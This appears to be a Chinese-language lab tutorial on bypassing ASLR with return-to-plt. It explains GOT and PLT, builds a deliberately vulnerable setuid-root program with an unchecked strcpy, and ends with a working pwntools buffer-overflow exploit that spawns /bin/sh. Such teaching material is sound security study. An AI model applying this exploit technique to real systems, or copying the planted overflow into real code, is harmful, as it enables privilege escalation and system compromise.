0.前言
基于静态地址的系统中,攻击者需要知道以下两件事,第一是栈的地址和栈的布局,从而选择一个位置作为shellcode的插入地址。第二是需要知道libc的基址,知道libc的基址后,可以通过链接多个libc函数,绕过NX位,从而造成成代码执行,拿到’/bin/sh’。
这两种手段都是基于静态地址的,为了阻止这种利用,出现了一种叫ASLR的技术。
1.环境及工具
虚拟机环境:Ubuntu 12.04 Desktop(x86)
工具:gdb-peda
2.ASLR原理
ASLR,全称为 Address Space Layout Randomization,译为地址空间布局随机化。ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。当前 Linux、Windows 等主流操作系统都已经采用该项技术。
一旦地址被随机化,特别是当libc地址被随机化时,攻击者采取的绕过NX 位的方法不会生效,因为攻击者需要知道libc基地址。
绕过ASLR方法的主要原理:同一个版本中,libc中的函数,在libc库中的偏移是一定的
公式表示:libc function address = libc base address + function offset
当ASLR关闭时,libc的基址是一定的,函数偏移也是确定的,所以libc中函数的地址也可以确定,如下图所示:
两次装载的libc基址为:0xb7e48000 __libc_system@@GLIBC_PRIVATE函数偏移为:0x3d170
ASLR被打开时,结果如下:
可以看到libc的基址改变,但是函数偏移依然没有变,这就为攻击者提供了机会。
3.绕过ASLR
3.1 return-to-plt
绕过ASLR可以通过return-to-plt这种技术,在这种技术中,返回的地址不是libc函数地址,因为其地址是随机的。return-to-plt是指攻击者返回到一个函数的PLT,它的地址不是随机的,在执行之前已知。由于function@PLT不是随机的,所以攻击者不再需要找到libc的基地址,而是可以简单地返回到function@PLT来调用function。
3.2 共享库
要了解PLT首先先要了解共享库。共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。由于代码段在多个进程之间共享,所以应该只有read和execute权限,因为它没有写权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址。而动态链接库在运行的时候,需要对共享库符号重新定位,这里使用了PIC(Position-independent code,位置无关代码)。
PIC通过一级间接寻址实现了共享库代码段不包含绝对虚拟地址,来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变。
动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,也就是两种表。
3.2.1 全局偏移表
全局偏移表(GOT)全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用该表来重新定位具有单个间接级别的全局符号。查找GOT表的方法如下所示:
3.2.2 过程链接表
过程链接表(PLT): 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数(function),而是调用存根代码(function @ PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数(function)的第一次调用期间发生,稍后当代码段中的调用指令调用存根代码(function @PLT)时,而不是调用动态链接器来解析函数地址(function)存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此,PIC使用这个表来重新定位具有两级间接的功能地址。查看plt的方法如下图所示:
以getuid举例,在getuid第一次调用之前,其相应的GOT条目(0x80483b0)指针将返回到PLT代码(0xa00425ff)。因此,当第一次调用getuid函数时,其对应的函数地址将在动态链接器的帮助下得到解决
4.漏洞程序
4.1 漏洞源码
#include <stdio.h>
#include <string.h>
void shell() { //这个函数在啊程序中并没有直接执行,但是为了后续的寻找plt进行漏洞利用,需要编译它
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
4.2 编译命令
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
4.3 调试
使用gdb调试,main()函数汇编代码如下
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048492 <+0>: push ebp
0x08048493 <+1>: mov ebp,esp
0x08048495 <+3>: and esp,0xfffffff0
0x08048498 <+6>: sub esp,0x120
0x0804849e <+12>: mov DWORD PTR [esp+0x11c],0x0
0x080484a9 <+23>: mov eax,DWORD PTR [ebp+0xc]
0x080484ac <+26>: add eax,0x4
0x080484af <+29>: mov eax,DWORD PTR [eax]
0x080484b1 <+31>: mov DWORD PTR [esp+0x4],eax
0x080484b5 <+35>: lea eax,[esp+0x1c]
0x080484b9 <+39>: mov DWORD PTR [esp],eax
0x080484bc <+42>: call 0x8048360 <strcpy@plt>
0x080484c1 <+47>: lea eax,[esp+0x1c]
0x080484c5 <+51>: mov DWORD PTR [esp],eax
0x080484c8 <+54>: call 0x8048370 <puts@plt>
0x080484cd <+59>: mov eax,0x0
0x080484d2 <+64>: leave
0x080484d3 <+65>: ret
End of assembler dump.
shell()函数汇编代码如下
gdb-peda$ disassemble shell
Dump of assembler code for function shell:
0x08048474 <+0>: push ebp
0x08048475 <+1>: mov ebp,esp
0x08048477 <+3>: sub esp,0x18
0x0804847a <+6>: mov DWORD PTR [esp],0x80485b0
0x08048481 <+13>: call 0x8048380 <system@plt>
0x08048486 <+18>: mov DWORD PTR [esp],0x0
0x0804848d <+25>: call 0x80483a0 <exit@plt>
End of assembler dump.
可以找到‘system@PLT’和 ‘exit@PLT’的地址分别为0x8048380和0x80483a0。利用这两个地址,再加上system_arg可以绕过ASLR和NX位,system_arg的寻找方法如下所示:
5.编写exp
exp的构造,首先向缓冲区中填充256个字节的‘A’+向对齐空间中填充16字节的‘A’+ system@PLT的地址+exit@PLT的地址+system_arg的地址。
from pwn import *
system = 0x8048380
exit = 0x80483a0
system_arg = 0x80485b0
payload="A" * 272+p32(system)+p32(exit)+p32(system_arg)
print payload
io= process(argv=['./vuln', payload])
io.interactive()
最后结果如下: